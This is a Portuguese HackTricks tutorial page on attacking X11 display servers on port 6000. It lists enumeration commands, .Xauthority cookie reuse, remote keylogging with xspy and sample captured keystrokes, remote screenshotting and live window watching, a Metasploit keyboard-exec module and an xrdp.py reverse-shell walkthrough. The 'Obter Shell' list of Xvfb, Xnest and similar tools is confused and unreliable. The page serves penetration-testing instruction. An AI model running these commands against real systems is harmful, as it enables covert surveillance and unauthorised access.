# 6000 - Pentesting X11
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? Ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
**HackenProof é o lar de todas as recompensas por bugs de criptografia.** **Seja recompensado sem atrasos**\ As recompensas do HackenProof são lançadas apenas quando os clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug. **Adquira experiência em pentesting web3**\ Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão. **Torne-se a lenda do hacker web3**\ Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal. [**Cadastre-se no HackenProof**](https://hackenproof.com/register) comece a ganhar com seus hacks! {% embed url="https://hackenproof.com/register" %} ## Informações Básicas O X Window System (também conhecido como X) é um sistema de janelas para exibições de bitmap, comum em sistemas operacionais baseados em UNIX. O X fornece a estrutura básica para um ambiente baseado em GUI. O X também não impõe a interface do usuário - programas individuais lidam com isso.\ De: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) **Porta padrão:** 6000 ``` PORT STATE SERVICE 6000/tcp open X11 ``` ## Enumeração Verifique a **conexão anônima:** ```bash nmap -sV --script x11-access -p msf> use auxiliary/scanner/x11/open_x11 ``` #### Enumeração Local O arquivo **`.Xauthority`** na pasta home do usuário é **usado** pelo **X11 para autorização**. De [**aqui**](https://stackoverflow.com/a/37367518): > MIT-magic-cookie-1: Gerando 128 bits de chave ("cookie"), armazenando-a em \~/.Xauthority (ou onde a variável de ambiente XAUTHORITY aponta). O cliente a envia para o servidor em texto simples! O servidor verifica se possui uma cópia deste "cookie" e, se sim, a conexão é permitida. A chave é gerada pelo DMX. {% hint style="warning" %} Para **usar o cookie**, você deve definir a variável de ambiente: **`export XAUTHORITY=/caminho/para/.Xauthority`** {% endhint %} ## Verificar Conexão ```bash xdpyinfo -display : xwininfo -root -tree -display : #Ex: xwininfo -root -tree -display 10.5.5.12:0 ``` ## Keyloggin [xspy](http://tools.kali.org/sniffingspoofing/xspy) para capturar as teclas digitadas no teclado. Exemplo de Saída: ``` xspy 10.9.xx.xx opened 10.9.xx.xx:0 for snoopng swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123 qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab ``` ## Captura de Telas Durante um teste de penetração em serviços X11, é importante capturar screenshots para obter informações visuais sobre a interface gráfica do sistema alvo. Isso pode revelar informações sensíveis, como senhas, chaves de criptografia ou dados confidenciais exibidos na tela. Existem várias ferramentas disponíveis para capturar screenshots em um ambiente X11. Uma opção popular é o comando `xwd`, que permite capturar a tela inteira ou uma janela específica. Por exemplo, para capturar a tela inteira, você pode executar o seguinte comando: ``` xwd -root -out screenshot.xwd ``` Isso salvará a captura de tela no formato XWD (X Window Dump) em um arquivo chamado `screenshot.xwd`. Você pode visualizar o arquivo usando o visualizador de imagens `xwud`: ``` xwud -in screenshot.xwd ``` Outra opção é usar a ferramenta `import` do ImageMagick, que permite capturar screenshots e salvá-los em vários formatos, como PNG ou JPEG. Por exemplo, para capturar a tela inteira e salvá-la como um arquivo PNG, você pode executar o seguinte comando: ``` import -window root screenshot.png ``` Essas ferramentas de captura de tela podem ser úteis durante um teste de penetração para documentar as etapas realizadas e fornecer evidências visuais das vulnerabilidades encontradas. ```bash xwd -root -screen -silent -display > screenshot.xwd convert screenshot.xwd screenshot.png ``` ## Visualização de Área de Trabalho Remota Fonte: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref) ``` ./xrdp.py ``` Caminho de: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html) Primeiro, precisamos encontrar o ID da janela usando xwininfo. ``` xwininfo -root -display 10.9.xx.xx:0 xwininfo: Window id: 0x45 (the root window) (has no name) Absolute upper-left X: 0 Absolute upper-left Y: 0 Relative upper-left X: 0 Relative upper-left Y: 0 Width: 1024 Height: 768 Depth: 16 Visual: 0x21 Visual Class: TrueColor Border width: 0 Class: InputOutput Colormap: 0x20 (installed) Bit Gravity State: ForgetGravity Window Gravity State: NorthWestGravity Backing Store State: NotUseful Save Under State: no Map State: IsViewable Override Redirect State: no Corners: +0+0 -0+0 -0-0 +0-0 -geometry 1024x768+0+0 ``` **XWatchwin** Para **visualização ao vivo**, precisamos usar ```bash ./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo ./xwatchwin 10.9.xx.xx:0 -w 0x45 ``` ## Obter Shell Uma vez que tenhamos acesso a um servidor X11, podemos explorar várias técnicas para obter um shell no sistema alvo. Aqui estão algumas abordagens comuns: ### 1. X11 Forwarding Se o servidor X11 permitir o encaminhamento, podemos usar o comando `ssh -X` para encaminhar a exibição do servidor X11 para o nosso sistema local. Isso nos permitirá executar aplicativos gráficos no sistema remoto e interagir com eles. ```bash ssh -X user@target ``` ### 2. Xvfb O Xvfb (X Virtual Framebuffer) é um servidor X11 que não requer uma exibição física. Podemos usá-lo para criar uma exibição virtual e executar aplicativos gráficos sem uma interface gráfica real. ```bash Xvfb :1 -screen 0 800x600x16 & export DISPLAY=:1 ``` ### 3. Xnest O Xnest é um servidor X11 que permite criar uma janela X11 dentro de outra janela X11. Podemos usá-lo para executar aplicativos gráficos em uma janela separada e capturar a saída. ```bash Xnest :1 export DISPLAY=:1 ``` ### 4. Xephyr O Xephyr é um servidor X11 que permite criar uma janela X11 dentro de outra janela X11 ou dentro de uma janela do gerenciador de janelas. Podemos usá-lo para executar aplicativos gráficos em uma janela separada e capturar a saída. ```bash Xephyr :1 export DISPLAY=:1 ``` ### 5. Xpra O Xpra é uma ferramenta que permite executar aplicativos X11 em um servidor remoto e exibir a saída em um sistema local. Podemos usá-lo para obter acesso a aplicativos gráficos em um servidor X11 remoto. ```bash xpra start :1 export DISPLAY=:1 ``` ### 6. XDMCP Se o servidor X11 estiver configurado para permitir conexões XDMCP, podemos usar um cliente XDMCP para se conectar ao servidor e obter uma sessão gráfica. ```bash X -query target ``` Essas são apenas algumas das técnicas que podemos usar para obter um shell em um sistema alvo através de um servidor X11. A escolha da técnica dependerá das configurações e restrições específicas do sistema alvo. ``` msf> use exploit/unix/x11/x11_keyboard_exec ``` Outra maneira: **Reverse Shell:** O Xrdp também permite obter um reverse shell via Netcat. Digite o seguinte comando: **./xrdp.py \ –no-disp** ![](../.gitbook/assets/112217\_0051\_ExploitingX15.jpeg) Será exibido um novo painel de controle onde podemos ver a opção R-shell, ilustrada abaixo: ![](../.gitbook/assets/112217\_0051\_ExploitingX16.jpeg) Iniciaremos o modo de escuta do Netcat em nosso sistema local na porta 5555, ilustrado abaixo: ![](../.gitbook/assets/112217\_0051\_ExploitingX17.jpeg) Em seguida, adicione o IP e a porta e selecione R-Shell, ilustrado abaixo: ![](../.gitbook/assets/112217\_0051\_ExploitingX18.jpeg) Agora, como pode ser visto abaixo, temos acesso completo ao sistema: ![](../.gitbook/assets/112217\_0051\_ExploitingX19.jpeg) {% embed url="https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref" %} ## Shodan * `port:6000 x11`
**HackenProof é o lar de todas as recompensas por bugs de criptografia.** **Seja recompensado sem atrasos**\ As recompensas do HackenProof são lançadas apenas quando seus clientes depositam o orçamento de recompensa. Você receberá a recompensa após a verificação do bug. **Adquira experiência em pentesting web3**\ Protocolos de blockchain e contratos inteligentes são a nova Internet! Domine a segurança web3 em seus dias de ascensão. **Torne-se uma lenda hacker web3**\ Ganhe pontos de reputação com cada bug verificado e conquiste o topo do leaderboard semanal. [**Cadastre-se no HackenProof**](https://hackenproof.com/register) e comece a ganhar com seus hacks! {% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 * Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? Ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e para o** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).